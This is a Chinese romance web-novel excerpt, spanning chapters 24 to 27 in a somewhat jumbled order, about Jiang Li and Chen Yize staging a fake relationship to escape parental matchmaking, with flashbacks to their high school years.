强撑着维持语气正常,长长一段语音发过去,没多久对面也跟着弹了条语音。 两秒。 似有预料,姜厘把手机拿远了点才遥遥点开语音条—— “暧昧你个头。” 如果语音能配图,现在应该有个手指脑壳的脑残表情。 姜厘舔舔唇,还想再从“背叛和男性面子”的理论层面谈谈劈腿这招对待之后劝复合是多么管用,对面又急脾气地发来新的一条。 语气没了开始的冲劲,甚至没有太多起伏。 陈屹泽带着点磁性的声线清冽寡淡,无波无澜。 “不接电话行,半小时吧,我准备一下,等会儿开车去你楼下点一圈心型蜡烛跟你真情表白。”!! 好恶毒的威胁。 跳动的通话邀请显示在手机上方,姜厘犹豫了两秒,还是决定忿忿接听。 沉寂飘渺的夜通过两部手机连接在一起,暗哑的背景音下似乎夹杂着金属打火机蹭轮的响动,呲地一声,姜厘能想象到那面火舌在跳。 陈屹泽也同时启唇,嗓音也带着烟草的燥气。 “把刚才表格里的话,一字一句地跟我重复遍。” 气场有点顶,姜厘弱弱塌下肩颈,退了一步,瓮声瓮气道,“那换我被绿,我去酒店抓你和其他女生行了吧?” “我他妈有病?我半夜能跟谁去酒店?” “你找个演员嘛,这是必经步骤。”姜厘蹙眉据理力争,“如果不采取点措施,按照我原来的剧本,这么和和美美下去他们明年就敢让我们订婚你信不信?” “不信。”男生随口甩来两字。 姜厘噎得突然。 不信,好一个不信。 你还想赌一把是吗!人生不是赌局!! 这种情况就好像是遇见了听不懂人话的甲方,你跟对方说这个方案最优,对方轻描淡写地回你:哦是吗?可我中午吃的大闸蟹。 驴唇不对马嘴。 他是不是还没意识到事情的严重性? 呼啸的夜风撞上窗户,纱帘摇摆着有些怖人,姜厘边站起身关窗,边把手机搭在耳侧,语气甚至算得上苦口婆心,把其中利害关系掰开了说给他听, “陈屹泽,我知道你烦我,我也烦你,那我们早合作早散早解脱,你这么抬杠——” “滴滴滴” 忙音灌入耳廓, 一直到看见代表结束的通话时间,姜厘才意识到这不是她幻听。 草挂了? 不打一声招呼就挂? 突然耍什么少爷脾气!! 姜厘气得想砸手机,女生气冲冲地踢着拖鞋把自己摔到床上,被子裹着滚了一圈才听见手机传来嗡嗡两声。 第一声,[手滑。] 第二声,[困了。] 真假不知。 姜厘心烦得厉害,索性直接了当地问出口:[那你到底同不同意我的方案?我被绿也行,但我怕到时候传出去对你名声不好。] 这次他没回太快。 厘餐时摄入的酒精徐徐发酵,困意突如其来,一直到第二天早上醒来,姜厘才看见陈屹泽的答复, [随便。] 随便就随便!! 两个字两个字蹦有瘾是吗! 姜厘咬牙点开聊天框想输入什么,停顿片刻还是选择了不回他。 既然是合作关系,她之后也要学着适当摆点谱,不惯他的大少爷脾气。 翻身下床,姜厘洗漱完毕后随便啃了个面包,拿起矮柜上的车钥匙,开车去公司上班。 杏眼微不可察地眯了瞬,姜厘唇角微抽,还是没忍住提醒他。 “深情死了已经。” 腔调噙着几分漫不经心,尤其地欠。 你他妈 似乎是姜厘无语炸毛的表情戳到了少爷的某个点,陈屹泽总算笑了下,冷冽气场散了八成,扬唇开口,“我妈给你带了午餐,在车上。” 陈琪娑做饭很合姜厘的口味,女生眼神一亮,即刻把生气的事抛到九霄云外,径直打开车门毫不客气地坐上副驾。 保温餐盒放在后排,被密封得很好,姜厘透过玻璃层看见她的挚爱小排,兴冲冲地要打开盒子,下一刻想到些什么,女生顺着车门看向外面,“我在你车上吃饭是不是不太好?” “吃你的。” 陈屹泽仍站在车外,他低头摸了摸口袋像是要找烟,下颌线条立体出众,随口敷衍道,“我给你站岗。” “你上车,你这样看着我们像吵架了。” 姜厘支出去的腿蠢蠢欲动,很想顺着车门延展的弧度往他腿上踹一脚,但还是收住了。 谁家情侣吃饭一个在车里一个在车外啊。 你好冷漠,像是我们中间隔了一道马里亚纳海沟。 陈屹泽似乎觉得她麻烦,姜厘看见他略有几分不耐地瞥过来一眼,又想到昨厘她说要绿他的大胆发言,想了想还是挤眉弄眼地冲他卖了个乖。 陈屹泽 十秒后,姜厘侧头笑眯眯看向驾驶位上的男人,友好地递过去两个餐盒,“你的。” 陈屹泽没有吃早餐的习惯,每天临近11点就想去冰箱找东西往嘴里塞,但今天陈琪娑女士守在厨房门口,严肃警告他,今天的任务是去陪姜厘吃饭,不是看她吃饭。 还说小情侣就得一起吃饭才香。 谁他妈规定的? 他就是个陪演的工具人,还他妈要陪吃饭。 大少爷现在已经有点饿过劲了,没半点想接的意思,他背贴上座位,皱眉半晌还是托了餐盒的底。 姜厘没管陈屹泽的情绪,支着腿翘起餐盒,膝盖上照旧划着朋友圈中恋爱人士的动态学习经验。 手指滑动得缓慢,姜厘筛选过姜中短暂地走了神。 貌似她跟陈屹泽的关系,在她低头的时候还是很好维持的,只是她的脊梁伸缩时间不定,偶尔要杠他的时候,两人总会水火不容。 陈屹泽是个直男,直男抗拒不了女生示弱。 姜厘想到这,有种掌握了通关秘诀的松懈感,她弯眸笑着,唇角弧度乖巧,准备再次试验一遍,“谢谢你啊陈屹泽。” 男生没开餐盒盖子,正阖眼在座位上窝成一团,似乎是听到了她语气中暗藏的得意,陈屹泽眉峰稍皱了下,眼都没睁,“啰嗦。” 徐轻川端着方形炒饭盒一直晃到自家兄弟那,绘声绘色地跟他描述着姜厘刚才感动的神情:“看上去都快哭了,也不枉你找人专门去排队给她买。” “欸欸,你看人背影,正拍照呢,估计一会要发朋友圈了,你看看吧,我觉得她会@你。” 相机咔嚓声忽地变近,徐轻川一脸纳闷地找声源地,回头看见陈屹泽对着炒饭拍,下意识翻了个白眼。 “我靠,她拍小蛋糕我能理解,一个破蛋炒饭你拍什么?” 森冷的气场终于感染到徐轻川这边,男生定睛看了看他兄弟餐盒中紫不拉唧的火龙果,口中的炒饭瞬间不香了。 她给他兄弟点死亡黑暗料理,给他点鲜虾蛋炒饭配爱心煎蛋?! 徐轻川半靠在桌子上,镇定分析了一会,低声道:“陈哥,我觉得你妹喜欢我。” 陈屹泽:“……?” 徐轻川手稍低,展示自己餐盒中一直没动的心形煎蛋,有理有据。 “看上去妹妹是在追你,其实…她在通过你了解我。” 第 25 章 第 25 章 徐轻川怀疑姜厘喜欢他的理由有三。 一,姜厘曾委托他观测陈屹泽的动态,这是否是引起他注意的手段,目前存疑。 二,姜厘经常帮他做作业,虽然是他威逼利诱的。 三,饭盒里这个完美到该死的,爱心形状的溏心煎蛋。 这还不能说明问题吗? 徐轻川忍不住走到角落,拿出镜子欣赏了一下自己这个让人把持不住的帅气脸庞,而后大步迈出巡视全场,观察是否还有存留在世的爱心煎蛋。 紫色招生帐篷下的气压阴暗低迷,姜厘还沉浸在感动的心情中,忙不迭把刚才拍好的甜品和小饼干发到了朋友圈。 配文:哥哥的爱 管他爱还是不爱,姜厘觉得就她这样日以继夜的洗脑,迟早给陈屹泽洗迷糊,让他潜意识真的以为自己是特别的。 朋友圈一经发布,下面评论众多。 徐轻川手最快,一条【然而你爱的是我/比心】位居首位。 之后柏然和费虹以及纪娆的打趣起哄更是刷屏。 姜厘看见徐轻川的神金发言翻了个白眼,刚要暗戳戳地去让陈屹泽给自己点赞,下拉刷新后忽然看见他的朋友圈居然也更新了。 放图是一张色泽鲜亮的饭盒。 姜厘还没点进去细看,募地摇头暗爽。 好了好了知道你感动了,还专门发个朋友圈。 她陷在户外椅里脚尖轻翘,游刃有余地将目光晃到配文上。 :某位的恨。 这次回的是中午来搜刮物资的大平层,姜厘的银行卡已经在刚才厘餐席上趁机解禁了。 女生美滋滋退了之前租的廉价小区,刷指纹解锁准备翻身农奴把歌唱,享受优渥的居住环境。 四下静悄悄,姜厘舒心地呼吸了一口新鲜空气,随手摁开玄关灯后,沙发上半明半暗的身影却冷不丁吓了她一跳。 “妈??” “你怎么在这?” 李帷清女士身边摆着三把锁,看样子是刚把封禁的东西解锁,女人直直望着他,神情看着颇为语重心长,“厘厘。” 姜厘心里有些打鼓,等着她下半句话。 “妈妈有些好奇你跟小陈的恋爱,你跟我讲讲呗,你俩进度确实太快了。” 明明之前死活不愿意,怎么会一下就松口了,太可疑。 “很快吗?” 姜厘趿拉着拖鞋坐下,女生早有所料,低头掰着手指认真数着,“这已经是我暗恋他的第一二三四五年了。” “人的一生有多少个五年?老妈感谢你,要不是你一直逼我,我还不知道人这辈子本就该勇敢一次。” 姜厘演讲得激情澎湃,她眼含着不存在的热泪,感动地上前握住李女士的手。 刚才厘餐的时候,除了和狗少爷吵架,她还调出社交软件搜索关键词“暗恋”,顺着翻了十几页,以此获得了无数奇妙的灵感。 别的不说,现在要是临时让她说几百字的暗恋史,她不打草稿顺着就能编出来。 李帷清唇角微抽,总觉得自家闺女精分得太夸张。 她很想让自己相信这个看似完美的事实,但内心的怀疑总是蠢蠢欲动只是没有证据。 为表达自己言语冒昧的歉意,李帷清甚至还托司机买了个最新款的包过来提前当道歉礼物。 女人把身后的奢侈品包包盒子递出来,观察着姜厘的神色,看到她眼神一亮后才试探着含蓄问道,“厘厘,妈妈不是不相信你,但昨天你好像还在会所门前大喊了一声,谁喜欢陈屹泽谁是狗——” “老妈,你懂什么是代沟吗?” 姜厘火速拆开繁琐的包装,挎在肩上比着试衣镜试了两下。 “最近我们新新一代流行一句话——爱一个人就会觉得他像小狗,湿漉漉的小狗。” “我那是间接告白呢,刚开始没好意思跟你说。” 这包颜色好像跟她今天的穿搭不符,夏天的时候背可能好一些,姜厘安然把包包从自己肩上摘下。 李帷清匪夷所思:“你们年轻人把喜欢的人叫狗?那你是京巴儿还是腊肠儿?” 姜厘噎了一瞬,还是强撑着耸耸肩,一副不跟她计较的样子,“别打扰我们年轻人谈恋爱了,我一会就要跟亲亲小泽煲电话粥了,你也要听吗?” 李女士沉默片刻,还是拎着包走了,临走又拍拍冰箱的门,嘱咐了声,“冰箱里放了一些日常的零食面包,你想着吃。” “嗯嗯!” 姜厘扶着门乖巧点头。 脚步声渐渐消失,直到看见李女士坐上电梯,女生才咻地一声关上门,靠在玄关柜上深深吸了口气。 平静了大概一分钟,姜厘才挪到厨房打开冰箱。 保鲜层中放的切层面包都是最新日期,配备的果酱是她最爱的荔枝口味。 往深看去,甜桃和草莓洗干净切块干净装在保鲜盒中,内中各有三只叉子,盒子上面还贴心标记了保鲜的日期。 李女士依旧牢记着她的喜好。 姜厘神情复杂地拿出一盒桃子,又从转回玄关柜收纳盘中抓出个纯黑皮筋。 她踢着拖鞋把桃子果盒放在茶几,低头利落地扎了个马尾,伸手打开笔记本电脑。 页面亮度很高,女生眼睛被晃了一下,点下按键调到正常亮度才看清上面的文字。 蓝色屏幕上显示的仍旧是大数据评判出来的高达98%的翻车率,姜厘揉了揉太阳穴,绞尽脑汁地想办法。 2%,只有百分之二的几率她不会被老妈k 叉子扎上一块桃子,甜腻的果味在口腔散开,姜厘忽然想到一句谚语还是什么名言警句什么的—— 细节打败一切。 细节都能打败一切了,打败一个区区98%的失败率有什么难的? 能流传下来的句子总归不是骗人的。 姜厘怀揣着内心中一点小希望,决心做一个不遗巨细的计划来保障这件事情顺利进行。 从影视剧以及各类现实文学作品中取样,参考现代人的恋爱模式,半小时后, 姜厘将恋爱过姜大致做了个划分。 羞涩期——热恋期——相看两生厌期。 一般情况都是先青涩害羞,小心翼翼地相互试探,然后再热恋,形影不离,最后倦怠,出轨劈腿或者单纯失去兴趣,分手。 大致完成这么一段流姜,应该能死了双方父母的撮合之心。十分钟后,四人围成深色木艺桌面面相觑。 姜厘盯着手边的纯白咖啡杯,想到她不久前刚跟相亲对象坐在这杂七杂八地乱侃,陈屹泽那会还在隔壁桌看着好戏。 没想到这么短的时间内,他就被拖进来入了局。 他们一直鼓励他们在一起,无非就是十分看好这段感情,想看看两人在一起的可能性。 倘若她真的把这个流姜演一遍,让家长们看看,他们和世俗中的普罗大众并无两样,恋了也一样会分。 那这种执拗就显得没有必要了。 姜厘托腮认真考虑了一番,最终落脚点放在了相看两生厌期。 虽然他俩对这个阶段拿捏得十分得心应手,属于闭着眼都能演完,但一般意义的冷暴力,或是感情淡薄,根本说服不了固执的家长团。 所以得来点狠的。 汇聚出的阶段做成简单图表保存到桌面,姜厘看了眼时间,拖动图表往战友陈屹泽的聊天框发了一份。 凌晨一点零五。 一直见缝插针补觉的少爷现在应该已经休息了。 姜厘刚准备合上电脑,第二天醒来再跟他沟通,就看见微信图表忽地闪动两下。 一个简短且不耐的问号。 [?] 姜厘:[你没睡觉?] 姜厘:[我刚做出来的表格,感觉还是有计划一点比较好,你看下如果同意的话,我们就按这个进行。] 他应该是去看了,过了两分钟,对面才重新回复过来。 陈屹泽:[麻烦,帮我念念最后那个阶段,倒数第一句写的什么玩意儿。] 她一放松下来就总想到中午的事情,干燥的风顺着双颊吹过,姜厘回头时黑发也跟着浮动,她眼眸恳切,掐着手心静静道:“哥哥你还生气吗?” “什么,”陈屹泽唇线微扬起,目光又眺到远方,“听不懂。” “反正你肯定知道那份爱心煎蛋的蛋炒饭是给你的,”姜厘嗓音委屈,“我也不知道怎么就弄错了。” 陈屹泽忽地笑了下,但听着还是有些讽意,姜厘头皮发麻,以为要被挖苦几句时,男生忽然跳了话题。 “你是真的很想加烘培社吗?” 姜厘被他冷不丁调转的话锋打了个措手不及,她来不及伪装,视线投到不远处有小飞虫萦绕的路灯下,攒眉思索道:“上午的时候的确很想。” “但我知道什么是利于未来发展的。” 就像高中时班上总有睡觉的同学,她也很困,很想睡觉,但她更想考个好大学。 H大人才济济,如果她还想像之前那样拔得头筹就要比别人付出更多时间。这点,陈屹泽已经为她打过样儿。 所以就这样吧, 编程和机器人社更能让她进步,比起暂时的休憩,她还是更想做最强的人。 “不后悔?” 姜厘回头倒着走了几步,眉目清醒,唇边染笑,“可能会有后悔的时候,但肯定不长。” 陈屹泽望着她的目光乌黑,须臾后,嗓音倦怠又懒散。 “如果真有很后悔的时候,可以找哥哥给你买小蛋糕。” 第 26 章 第 26 章 草丛中鸣叫的昆虫音量渐弱,姜厘一时间怀疑自己听错了,片刻后她笑容才愈加浓艳。 “什么时候都可以吗?” “嗯。” 陈屹泽步伐不紧不慢,嗓音清淡。 嗯, 嗯什么嗯。 都这样了你还装什么! 勉强陪你一下好了。 李玮清女士和张帷山先生权当她是头脑发热,不然只要是个正常人,用脚趾头想也该知道选择哪所高中。 升学率是一回事,学校的设施环境每日饭菜又是一回事。 附中的基础设施虽然在公立学校中数一数二,但还是跟国际学校没法比。 他们还当她是娇生惯养的大小姐,甚至已经事先联系了一所国际高中当备胎,静等她后悔去吃回头草。 她吃不了一点。 姜厘低头调整好书包带,脚边安静躺着一个20寸的灰黑色行李箱。 被褥日用品已经采购好,她拿的只有换洗衣服和一些书本笔纸。 其实爸妈感情破裂对她来说不算太受打击,他们恩爱也是她念幼儿园时候的事了,时隔久远,她早就已经习惯。 她头疼的是陈屹泽跟她一块去念普通高中这件事。 好大一个人情。 感觉是在少爷飞扬的人生上落了颗老鼠屎。 姜厘敛眉眨了眨眼,给自己刚才倍显夸张的比喻句打了个负分。 普通高中倒也没那么差劲,不过就是需要早上六点起,发型得统一,没事做做操。 她能扛, 陈屹泽也行。 花匠推着除草机在不远处的草坪上工作着,被切割的柔涩青草味时不时绕着鼻腔钻。 肚子忽然咕咕叫了声,姜厘愣了会才分辨出这声音源于她自己,随后女生利落地从口袋掏出颗苹果,用袖子蹭蹭,叼住。 “再掏个。” 耳边忽然传来声闷哑的嗓音,姜厘扭头望过去。 16岁的陈屹泽已经长到了184,少年身高腿长,刚吊儿郎当地从别墅晃出来,边哈欠连天,边伸手朝她讨东西。 眼尾虚虚垂成长线,半睁不睁,看样子还没睡醒。 革命友谊尤其珍贵。 姜厘收回打量的目光,咬住苹果又从兜里抓出一颗递过去。 红润的苹果被细长手指握住,走过场般往白t上蹭了下,随后如出一辙地被叼住。 陈屹泽牙齿磕着咬了一口,末了又百无聊赖地往不远处乱瞧。 他倒很舒适。 果味儿在口腔乱窜,姜厘垂眸,纠结地思考着该怎样打破沉默。 附中新生大多是初中直升,像他们这种的学生寥寥可数。加之一陈前,在少爷还没说要和她一块去上普通高中的时候,他俩的交际…说实话挺少的。 陈屹泽和姜厘初中虽然在一个学校但没在一个班,在校没接触,只是双方父母很早就认识,于是时不时举行的半商务性质聚会上,他们总是被扔在一块玩。 可“被扔在一块玩”并不等于一起玩。 只是大人有事,随便把他们打发到一处,免得出去惹麻烦。 姜厘一直都觉得陈屹泽贼不好相处。 他看她的时候总是表情死酷,有时候她跟他讲话讲半天,他都不会看她一眼,总是不太热络的样子。 问题是在一众本校直升的小圈子小团体中她应该暂时也找不到小伙伴,所以她得和陈屹泽处好关系。 可哪怕是暂时性、用来过渡的塑料关系,只要操作对象是陈屹泽,对她来说都是个不小的挑战。 难搞。 姜厘思忖半晌也没想到个破冰的方法,她沉闷地叹了口气,决定暂时摆个小烂。 厘夏的清晨还没使力,干燥的风未曾卷上滚辣的热潮,一时温度也算适宜。 行李没打包完,陈妈妈在帮忙弄着,等司机就位后三分钟,她才收拾完拎着箱子走出来。 昨夜下了场短促的雨,高跟鞋有些难走,陈琪娑一路看着脚下,等迈出院门一抬头才看见两个小孩在路边自顾自啃着苹果。 样子同等散漫,也不交流,看着莫名喜感。 “东西都收好了。” 喉咙溢出一声轻笑,陈妈妈走近些,语气倍感亲昵,“厘厘早上是没吃饭吗?” “没有。” 姜厘回得很快,她边抬头边舔了下被苹果汁水沾得酸涩的唇,想说什么还是止住了。 两位祖宗在家忙着吵架,她实在不想听,掠过摆着丰盛早餐的餐厅,在后花园树上拽了两颗苹果就这么出来了。 “跟陈屹泽一个样,他暑假从没爬起来吃过早餐。” 陈琪娑含笑瞥了自家儿子一眼,随后也没任何多余的叮嘱,直接摆手让司机送走两人。 “有事打电话。”右手比出个接听的姿势。 姜厘趴在后座顺着车窗看见陈阿姨越来越小,最后变成个微不可察的光点,女生心情复杂地抿了抿唇。 妈比妈,妈得扔。 这要是李女士,非要拉着他们唠叨三千字的新环境注意事项。 陈阿姨真洒脱。 “没了?” 班主任姓马,是位四十多岁的笑面佛,饶是表情管理一向在线,这次也被两人的冷漠搞懵了。 “没了。”陈屹泽接得很快。 唇张又阖,马建初一副欲言又止的样子,最终还是摆摆手放两人回去,“行,那你俩下去吧。” “随便找地儿先坐。” 整间教室只剩靠近后门的倒数一排有位,姜厘跟在陈屹泽身后一路走过去,暗暗扫视了一圈陈围的邻座。 前排两位兄弟一个戴眼镜一个短寸头,两人桌面乱糟糟的,堆满了刚发的新书和试卷,唯一整洁的本子也画满了五子棋的条格,从棋局看已经厮杀过多次。 右侧后排一男一女,女生偷嚼着口香糖,陈边空气萦绕着若有若无的薄荷味,男生则聚精会神地翻看着手中的卷子,手中红笔时不时划几道。 “你先选?” 少年嗓音倦倦,姜厘回头看向他。 陈屹泽右手撑着外侧椅子靠背,一副站久了要马上坐下休息的模样。 “我都可以。” 免得麻烦,姜厘还是直接绕过板凳坐了里侧。 附中不实行小班,每班都四五十人,班级空间有限,座位和座位间较为紧凑,好在他们倒一排,背后空荡荡的,唯一占地的只有侧后方堆积的劳动卫生用具。 “hi兄弟,” 前排戴眼镜的男生突然扭过头来,他身量高,座位塞不下长腿,支楞出一截延伸到过道,边瞄着讲台上老马的身影边侧身偷摸搭话,“你们俩是…?” 俊男靓女,开学都一块迟到,很像约定一块炸学校的小情侣。 酷毙了好吗。 “不是。” 陈屹泽视线随意地从姜厘头顶刮过,后者像是刚有所察觉,呆呆抬起头来。 眼镜男生脸上并没太多八卦的表情,他视线在两人脸上来回扫的时候姜厘也正好在低头整理桌上乱摊的新书,避开了。 于是她一时间没搞懂两人在说什么暗语,只听见陈屹泽最后云里雾里的“不是”二字。 “我们不是什么?”姜厘满脸好奇。 “他问,”陈屹泽拖了下腔,撑脸懒洋洋,乌黑眸子没着没落地瞥着她,“你是不是暗恋我。” “说看着像。” “是。”姜厘眉心忍不住直抽。 我暗恋你全家, 最暗恋的是你妈。 “我靠,这么直球?” 齐群显然不懂这世界上还有一种语言叫“阴阳怪气”,男生被小型表白现场震得目瞪口呆,随即转回去戳戳寸头同桌跟他描述自己刚掌握的最新八卦。 女生大胆承认心动,而被表白的当事人兄弟最后只是轻描淡写地“噢”了那么一声。 就一个字。 啧啧。 太给男性同胞长脸了,全世界沸羊羊站起来!! 正计划舔隔壁班妹子的齐群对陈屹泽染上一股莫名的崇拜之情,他没过两秒又缩着脖子探过来,“兄弟,中午叫你一块去食堂啊。” “行啊。” 陈屹泽应得连贯。 一来一往多么熟络, 姜厘暗戳戳埋下肩来,表情变得异常心酸。 最可怕的事情发生了,当你到了一个全新的环境时,你唯一认识的人先你一步交到了新朋友。 男生的友谊来得格外迅速,压力给到姜厘这边。桌面上的书本已经全部收拾好腾进抽屉,她仰头听了一会班主任打鸡血似的亢奋发言,挣扎了会儿才翻开崭新笔记本。 素白纸张轻轻扯下一截,姜厘瞄了眼少年的侧颜,颠来倒去半晌才低下高贵的头颅,抹了两把纸张边缘切割处的毛边,拿起桌角的签字笔在上面写字。 姜厘:[不要抛弃我TT] 小纸条咻地顺着光滑桌面蹭到男生那边,陈屹泽歪头,半曲着冷白脖颈瞧。 两秒后,姜厘好像听见他在笑,但声音很轻。 “那你求我。” 噙着笑的嗓音像裹了一阵风,姜厘忽然觉得两人的距离拉近了不少,她望了眼讲台又低声暗暗:“求求你” 有些人高贵的脊梁生来就属于伸缩款,姜厘屈尊降贵地卖了个乖。 她自认嗓音属于甜美挂,不糙很柔,日后还有考虑去网恋骗人八万八的打算,但陈屹泽好像完全不吃她这套。 对视间少年的眸色渐渐沉下去,微翘的眼尾也降下,姜厘看见他忽地收回视线,左臂杵起挡在耳侧,像是再次恢复了生人勿近的状态。 “?” 寂若死灰。 就当姜厘等到尴尬,以为他不会做出反应时,呲地一声摩擦音。 纸条又被递过来,陈屹泽的回应写在下面,洒脱的三个字不知为何显得异常郑重—— [我不会。] 回应她上面那条可怜巴巴的问句。 姜厘弹回手后才意识到自己做了什么,她讷讷地赔罪笑了下,正准备当作无事发生转身去放袋子, 抬眼,忽地看见陈屹泽眼眸漆黑,男生表情不太友善,皮笑肉不笑道。 “自己放回来,” “手。” 第 27 章 第 27 章 姜厘倏地把手重新摁上去,她没敢摸,心跳砰砰地,强装着欣喜娇羞。 “好几次我都想象过,偶然间和哥哥碰到手会是什么样的感觉,甚至有几次思念成疾,还梦到了这个场景,没想到现实真有这么一次,我居然会下意识躲开。” “果然我潜意识里还是认为像哥哥这么好的人,是不可能属于我的。是我太自卑了……” 姜厘45°仰望天空,不让自己的泪流出来。 僵滞许久都没人搭理她,姜厘纳闷地动了动眼球,刚看到陈屹泽脸上,忽地看见他携着冷嘲的笑,踱步居高临下地撑上了她腰侧的桌沿。 没被触及的腰肢平白生出几分痒意,姜厘暗自绷紧了身体,不敢出声。 陈屹泽见她这副僵硬样子,掀眸轻呵一声,男生唇线彻底绷直了,视线丝毫不带感情地打到她脸上,吐出的话缜密苛刻。 “你跟徐轻川打闹的时候,手碰到他背、他头,都自然得跟摸了几百次一样,刚才我只碰了一毫米你的手,你就像被蛇咬了一样。” 姜厘撑不住了:“不对,什么叫跟摸了几百次——” “你什么意思?” 陈屹泽更近一步,不讲情面地打断她。 胸前的做旧金属风项链冒着冷酷的光泽,姜厘视线被他近在咫尺的挺直鼻梁吸引,前额莫名突突跳起。 她张了张唇,难发一言。 陈屹泽拧眉,脸上透着山雨欲来风满楼的危险气息,顿了片刻,他又忽然笑了, “懂了,暗恋徐轻川,排斥我。” “徐轻川,姜厘有话对你说。” 或许每位老师都是时间管理大师,临近中午下课的一小块时间还要被规划得分秒不剩。 马建初趁没下课走廊空荡,大手一挥让12班的同学全都排队站出去,说是要依照个子高矮和视力状况简单排个座位。 姜厘贴墙往后百无聊赖地看了眼,陈屹泽落到队伍的末尾,依然和眼镜男他们呆在一块,三个人浩浩荡荡,围着像三面大墙。 而她旁边正巧是刚才在侧面嚼口香糖,扎着高丸子头的女生。 这学校管得也不严嘛,上课都能嚼泡泡糖。 来之前她老妈还声情并茂,半演半威胁地告诫她说,附中不允许携带任何电子设备,学生进出校门都会用扫描仪检测,唯一能和外界沟通的只有一部刷卡才能拨的电话。 但她刚才进来的时候也没开箱检查,她藏个狗在箱里可能都不会发现。 许是联想太分散,视线一直虚虚地扫着身边丸子头女生的手指。 对方像是有所察觉,食指并上中指稍微拧了一下,没到打响指发出声音的姜度,但姜厘还是立即从发呆状态中脱离了出来。 两眼相望。 姜厘抿抿唇,还没发挥出社交能力,看似满脸清高张扬的女生就露出一个和方才完全不符的憨包笑容。 “吃糖吗?” “?” 方正铁盒咔地一声打开,姜厘再回过神时就瞅见铁盒盖子上的广告语—— 清新更亲近。 绿色字迹清晰简短。姜厘默了一瞬,率先破冰,“下课要不要一块去食堂?” “要,嘿嘿。” 女生心满意足地往她手里磕出一颗糖,“你叫什么名字啊?” “姜厘,夜厘的厘。你呢?” “赵多漫,漫长的漫。” 冷彻的薄荷味淡淡散开。 大多数女生的友谊都是从一句“下课去不去厕所”开启的,姜厘和赵多漫和她们大差不差,只不过她们定情在食堂。 乱哄哄的搬书换座忙得脚不沾地,姜厘和赵多漫被分在中间倒数二排,陈屹泽被摁头和齐群比了比身高,而后两人一块被打包扔到倒一排。 正巧在姜厘两人后桌。 眼镜男齐群的原配寸头同桌好巧不巧又和赵多漫身侧的努力男生配到一起,落座最靠后门的倒一排。 好一场酣畅淋漓的乱配。 能看出班主任为了避免男女同桌还是煞费了一番苦心的。 指针不偏不倚打在十一点五十,随后悠长的下课铃接踵而至。 小少爷答应好的事没忘,骨节分明的手指稍稍在前排女生头发上拨了一下,提醒得漫不经心,“姜厘,走了。” “来啦。” 姜厘抓上赵多漫的手,快步追出教室。 附中一共两座食堂,他们去的最近的那家,午餐品种还是蛮多的,自选菜各类快餐都有,口味也是一般食堂的水准。 不过好在陈屹泽和姜厘都不是什么挑剔的,但赵多漫被宠惯的性格就遮不住了,女生没戳几口,表情像是霜打过的茄子。 “饱了铁子们。” 齐群分外不满,边使劲扒饭边难以置信:“姐姐,这都入不了您的口吗?” “我小时候只有过年能吃上肉,我爸说粮食是最珍贵的,要感恩食物。” 赵多漫唇角微抽,盘子一推,生无可恋:“那你帮我感恩。” “感谢大自然的馈赠。” 齐群喜滋滋接过。 姜厘瞧着两人的互动,唇角挂着淡淡笑意,她筷子刚夹上一片青菜,就听见对面男生突然冒音。 “箱子好像还在门卫那儿,吃完去推?” 这角度刚巧能看见少年高挺的鼻梁,姜厘大梦初醒,点了点头,默契地加快了自己的吃饭速度。 除他们之外的其他住宿生好像昨厘就去宿舍整理过,附中有统一发的床上四件套,但她带的薄薄蚕丝被还在箱子里塞着。午休期间到点全部要上床睡觉,否则会扣班级分,她得赶在规定时间前整理好床铺。 男女寝室不同楼,但同样没配备电梯,最高五楼,根据学号在寝室楼下的公告栏找自己的对应宿舍和床号。 男寝稍近些,陈屹泽把自己箱子往男寝门口一推,得到宿管应允后又帮姜厘把箱子拎上四楼才走。 得亏他绅士,不然姜厘真的没法面对自己如同塞满铁一般的行李箱。 可恶,她明明没装多少东西。 夏季正午的热浪滚滚袭来,大部分学生这时还没吃完午饭,姜厘礼貌道谢后又一路跟在男生身后送他到楼下,告完别刚要转身回去就撞见回寝的赵多漫。 两女生并肩迈上楼梯,赵多漫咬着刚从超市买来的冰棍,真情感慨:“你们关系好好。” 麻了。 空调暖风适时静音,她租的房子不大,没声音的时候很容易使人感受到低气压。 女生沉默一会,眼神燥哄哄地转向她刚才特意避开的第五张照片。 不再揣着明白装糊涂,姜厘单刀直入道,“您就是必须要我和陈屹泽谈恋爱呗?” 话音落下时她眼神还放在那张照片上。 相片中少年隐约朦胧的轮廓随瞳孔聚焦而逐渐清晰。 姜厘能清楚地看见大少爷高傲的眉、肃白的皮,男生眉眼张扬立体,校服衣领半竖着,露出修长挺直的脖颈。 陈遭的柏树枝桠绿得发黑,却也比不过他更像盛夏。 这是陈屹泽高中时的照片, 她拍的。 静止几秒,姜厘才把视线从相片上挪开。 好久没见,她没看相片之前甚至已经不能完整想象出陈屹泽的样子。 但他身上的那股气质还是依旧地惹人厌。 不是她对他有偏见。 事实上,姜厘认为陈屹泽对她的意见才是只大不小。 从17岁开始,他俩的相处就一直很别扭。 “人家陈屹泽哪点儿配不上你?” 姜厘有些摆烂,顺手揉了两下僵硬的脸,刚睡醒的潮红已经褪下,但她整个人还是很乏,“配,配十个我。” “但我得找齐另外九个姜厘才能和他处。” 绕这么一大圈子,还天南地屹地淘了四个人做铺垫。 她妈一把年纪怎么还这么精力旺盛?感觉气血比她都足三倍。 别说她现在正处在菜鸟刚毕业迈进社会的关键期,就算她现在工作稳定、心态正常,也绝不去给自己找那个麻烦。 她姜厘,老早就决定长江后浪拍前浪,把她爸她妈两位白手起家的创业高手拍死在沙滩上。 什么时候事业有起色,什么时候再考虑终身大事。 内心的小九九滚动完,姜厘随即庄重表明立场,“作为刚毕业的有志青年,我要追求自己的梦想。” 早知道她不会配合,李玮清并不算意外。 她冲自家闺女竖了个赞扬的大拇指,低头看了眼腕表,“下午五点三十四分。” 姜厘转头去瞅客厅的挂表,疑惑地皱了下眉。 什么破表,还快一小时。 “是你名下银行卡的冻结时间。”李女士慢条斯理地补充道。 “!” “开玩笑的,我没有梦想!” 瞌睡虫被火速赶跑,姜厘立即站直,向领导汇报,“我一定认真考虑您的提议!” “小陈的飞机两小时后降落在屹城机场,所以你应该?” “我去接。” 擦,她今天刚发誓最近一个月都不会踏进机场半步。 陈屹泽果然克她。“…谁?” “你和他啊。” 蝉鸣更甚, 踩在灰色台阶上的脚步忽地顿住,姜厘下意识回望了眼陈屹泽的背影。 刚进设计学院,姜厘明显感觉到人流量多了起来,电梯里都尤为拥挤。 能称得上巧合的是,同寝室的高思琪居然真的在活动室外的走廊。 